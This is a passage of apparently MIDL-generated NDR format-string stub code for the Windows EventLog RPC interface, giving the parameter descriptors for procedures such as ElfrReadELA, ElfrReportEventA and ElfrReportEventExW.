*/\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 1068 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1070 */\tNdrFcShort( 0x62 ),\t/* Type Offset=98 */\n\n\t/* Return value */\n\n/* 1072 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1074 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1076 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrReadELA */\n\n/* 1078 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1080 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1084 */\tNdrFcShort( 0x11 ),\t/* 17 */\n/* 1086 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1088 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1090 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1092 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1094 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 1096 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1098 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 1100 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1102 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1104 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1106 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1108 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 1110 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1112 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1114 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ReadFlags */\n\n/* 1116 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1118 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1120 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter RecordOffset */\n\n/* 1122 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1124 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1126 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter NumberOfBytesToRead */\n\n/* 1128 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1130 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1132 */\tNdrFcShort( 0x156 ),\t/* 342 */\n\n\t/* Parameter Buffer */\n\n/* 1134 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1136 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1138 */\tNdrFcShort( 0x74 ),\t/* Type Offset=116 */\n\n\t/* Parameter NumberOfBytesRead */\n\n/* 1140 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1142 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1144 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter MinNumberOfBytesNeeded */\n\n/* 1146 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1148 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1150 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1152 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1154 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1156 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrReportEventA */\n\n/* 1158 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1160 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1164 */\tNdrFcShort( 0x12 ),\t/* 18 */\n/* 1166 */\tNdrFcShort( 0x78 ),\t/* X64 Stack size/offset = 120 */\n/* 1168 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1170 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1172 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1174 */\tNdrFcShort( 0x8c ),\t/* 140 */\n/* 1176 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1178 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0xf,\t\t/* 15 */\n/* 1180 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1182 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1184 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1186 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1188 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 1190 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1192 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1194 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Time */\n\n/* 1196 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1198 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1200 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventType */\n\n/* 1202 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1204 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1206 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventCategory */\n\n/* 1208 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1210 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1212 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventID */\n\n/* 1214 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1216 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1218 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter NumStrings */\n\n/* 1220 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1222 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1224 */\tNdrFcShort( 0x160 ),\t/* 352 */\n\n\t/* Parameter DataSize */\n\n/* 1226 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1228 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1230 */\tNdrFcShort( 0x16a ),\t/* 362 */\n\n\t/* Parameter ComputerName */\n\n/* 1232 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1234 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1236 */\tNdrFcShort( 0x13c ),\t/* Type Offset=316 */\n\n\t/* Parameter UserSID */\n\n/* 1238 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1240 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1242 */\tNdrFcShort( 0x9e ),\t/* Type Offset=158 */\n\n\t/* Parameter Strings */\n\n/* 1244 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1246 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 1248 */\tNdrFcShort( 0x174 ),\t/* Type Offset=372 */\n\n\t/* Parameter Data */\n\n/* 1250 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1252 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 1254 */\tNdrFcShort( 0x104 ),\t/* Type Offset=260 */\n\n\t/* Parameter Flags */\n\n/* 1256 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1258 */\tNdrFcShort( 0x58 ),\t/* X64 Stack size/offset = 88 */\n/* 1260 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter RecordNumber */\n\n/* 1262 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1264 */\tNdrFcShort( 0x60 ),\t/* X64 Stack size/offset = 96 */\n/* 1266 */\tNdrFcShort( 0x11e ),\t/* Type Offset=286 */\n\n\t/* Parameter TimeWritten */\n\n/* 1268 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1270 */\tNdrFcShort( 0x68 ),\t/* X64 Stack size/offset = 104 */\n/* 1272 */\tNdrFcShort( 0x11e ),\t/* Type Offset=286 */\n\n\t/* Return value */\n\n/* 1274 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1276 */\tNdrFcShort( 0x70 ),\t/* X64 Stack size/offset = 112 */\n/* 1278 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum19NotUsedOnWire */\n\n/* 1280 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1282 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1286 */\tNdrFcShort( 0x13 ),\t/* 19 */\n/* 1288 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1290 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1292 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1294 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1296 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1298 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 1300 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1302 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1304 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1306 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1308 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum20NotUsedOnWire */\n\n/* 1310 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1312 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1316 */\tNdrFcShort( 0x14 ),\t/* 20 */\n/* 1318 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1320 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1322 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1324 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1326 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1328 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 1330 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1332 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1334 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1336 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1338 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum21NotUsedOnWire */\n\n/* 1340 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1342 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1346 */\tNdrFcShort( 0x15 ),\t/* 21 */\n/* 1348 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1350 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1352 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1354 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1356 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1358 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 1360 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1362 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1364 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1366 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1368 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure ElfrGetLogInformation */\n\n/* 1370 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1372 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1376 */\tNdrFcShort( 0x16 ),\t/* 22 */\n/* 1378 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1380 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1382 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1384 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1386 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 1388 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1390 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 1392 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 1394 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1396 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1398 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1400 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 1402 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1404 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1406 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter InfoLevel */\n\n/* 1408 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1410 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1412 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter lpBuffer */\n\n/* 1414 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 1416 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1418 */\tNdrFcShort( 0x1a6 ),\t/* Type Offset=422 */\n\n\t/* Parameter cbBufSize */\n\n/* 1420 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1422 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1424 */\tNdrFcShort( 0x1bc ),\t/* 444 */\n\n\t/* Parameter pcbBytesNeeded */\n\n/* 1426 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 1428 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1430 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 1432 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1434 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum23NotUsedOnWire */\n\n/* 1438 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1440 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1444 */\tNdrFcShort( 0x17 ),\t/* 23 */\n/* 1446 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1448 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 1450 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1452 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1454 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1456 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 1458 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 1460 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1462 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1464 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1466 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure ElfrReportEventAndSourceW */\n\n/* 1468 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1470 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1474 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1476 */\tNdrFcShort( 0x80 ),\t/* X64 Stack size/offset = 128 */\n/* 1478 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1480 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1482 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1484 */\tNdrFcShort( 0x8c ),\t/* 140 */\n/* 1486 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1488 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x10,\t\t/* 16 */\n/* 1490 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1492 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1494 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1496 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1498 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 1500 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1502 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1504 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Time */\n\n/* 1506 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1508 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1510 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventType */\n\n/* 1512 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1514 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1516 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventCategory */\n\n/* 1518 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1520 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1522 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventID */\n\n/* 1524 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1526 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1528 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter SourceName */\n\n/* 1530 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1532 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1534 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter NumStrings */\n\n/* 1536 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1538 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1540 */\tNdrFcShort( 0x1c6 ),\t/* 454 */\n\n\t/* Parameter DataSize */\n\n/* 1542 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1544 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1546 */\tNdrFcShort( 0x1d0 ),\t/* 464 */\n\n\t/* Parameter ComputerName */\n\n/* 1548 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1550 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1552 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter UserSID */\n\n/* 1554 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1556 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 1558 */\tNdrFcShort( 0x9e ),\t/* Type Offset=158 */\n\n\t/* Parameter Strings */\n\n/* 1560 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1562 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 1564 */\tNdrFcShort( 0x1da ),\t/* Type Offset=474 */\n\n\t/* Parameter Data */\n\n/* 1566 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1568 */\tNdrFcShort( 0x58 ),\t/* X64 Stack size/offset = 88 */\n/* 1570 */\tNdrFcShort( 0x208 ),\t/* Type Offset=520 */\n\n\t/* Parameter Flags */\n\n/* 1572 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1574 */\tNdrFcShort( 0x60 ),\t/* X64 Stack size/offset = 96 */\n/* 1576 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter RecordNumber */\n\n/* 1578 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1580 */\tNdrFcShort( 0x68 ),\t/* X64 Stack size/offset = 104 */\n/* 1582 */\tNdrFcShort( 0x11e ),\t/* Type Offset=286 */\n\n\t/* Parameter TimeWritten */\n\n/* 1584 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1586 */\tNdrFcShort( 0x70 ),\t/* X64 Stack size/offset = 112 */\n/* 1588 */\tNdrFcShort( 0x11e ),\t/* Type Offset=286 */\n\n\t/* Return value */\n\n/* 1590 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1592 */\tNdrFcShort( 0x78 ),\t/* X64 Stack size/offset = 120 */\n/* 1594 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrReportEventExW */\n\n/* 1596 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1598 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1602 */\tNdrFcShort( 0x19 ),\t/* 25 */\n/* 1604 */\tNdrFcShort( 0x70 ),\t/* X64 Stack size/offset = 112 */\n/* 1606 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 1608 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1610 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1612 */\tNdrFcShort( 0x94 ),\t/* 148 */\n/* 1614 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 1616 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0xe,\t\t/* 14 */\n/* 1618 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 1620 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1622 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1624 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1626 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 1628 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 1630 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1632 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter TimeGenerated */\n\n/* 1634 */\tNdrFcShort( 0x10a ),\t/* Flags:  must free, in, simple ref, */\n/* 1636 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1638 */\tNdrFcShort( 0x52 ),\t/* Type Offset=82 */\n\n\t/* Parameter EventType */\n\n/* 1640 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1642 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1644 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventCategory */\n\n/* 1646 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1648 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1650 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventID */\n\n/* 1652 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1654 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1656 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter NumStrings */\n\n/* 1658 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1660 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1662 */\tNdrFcShort( 0x226 ),\t/* 550 */\n\n\t/* Parameter DataSize */\n\n/* 1664 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 1666 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1668 */\tNdrFcShort( 0x230 ),\t/* 560 */\n\n\t/* Parameter ComputerName */\n\n/* 1670 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 1672 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1674 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter UserSID */\n\n/* 1676 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1678 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 1680 */\tNdrFcShort( 0x9e ),\t/* Type Offset=158 */\n\n\t/* Parameter Strings */\n\n/* 1682 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1684 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 1686 */\tNdrFcShort( 0x23a ),\t/* Type Offset=570 */\n\n\t/* Parameter Data */\n\n/* 1688 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 1690 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 1692 */\tNdrFcShort( 0x104 ),\t/* Type Offset=260 */\n\n\t/* Parameter Flags */\n\n/* 1694 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 1696 */\tNdrFcShort( 0x58 ),\t/* X64 Stack size/offset = 88 */\n/* 1698 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter RecordNumber */\n\n/* 1700 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 1702 */\tNdrFcShort( 0x60 ),\t/* X64 Stack size/offset = 96 */\n/* 1704 */\tNdrFcShort( 0x11e ),\t/* Type Offset=286 */\n\n\t/* Return value */\n\n/* 1706 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1708 